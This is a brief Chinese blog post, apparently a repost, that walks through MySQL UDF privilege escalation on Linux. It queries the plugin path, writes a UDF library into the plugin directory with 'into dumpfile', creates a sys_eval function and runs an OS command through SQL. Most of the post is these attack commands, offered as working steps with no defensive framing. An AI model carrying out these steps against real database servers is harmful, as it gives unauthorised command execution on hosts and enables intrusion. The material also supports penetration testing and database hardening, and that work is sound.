linux mysql udf 提权

连接远程数据库

linux mysql udf 提权_第1张图片

 

查看插件库路径

show variables like '%plugin%';

linux mysql udf 提权_第2张图片

写入udf库到插件目录:

select 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into dumpfile '/home/yhznsh/qfengine/mysql/lib/plugin/mysqludf3.so';

创建函数:

create function sys_eval returns string soname 'mysqludf3.so';

支持以下函数

  1. sys_eval - executes an arbitrary command, and returns it's output.
  2. sys_exec - executes an arbitrary command, and returns it's exit code.
  3. sys_get - gets the value of an environment variable.
  4. sys_set - create an environment variable, or update the value of an existing environment variable.

 

执行命令:

select sys_eval('whoami');

linux mysql udf 提权_第3张图片

 

转载于:https://www.cnblogs.com/mrhonest/p/10836621.html

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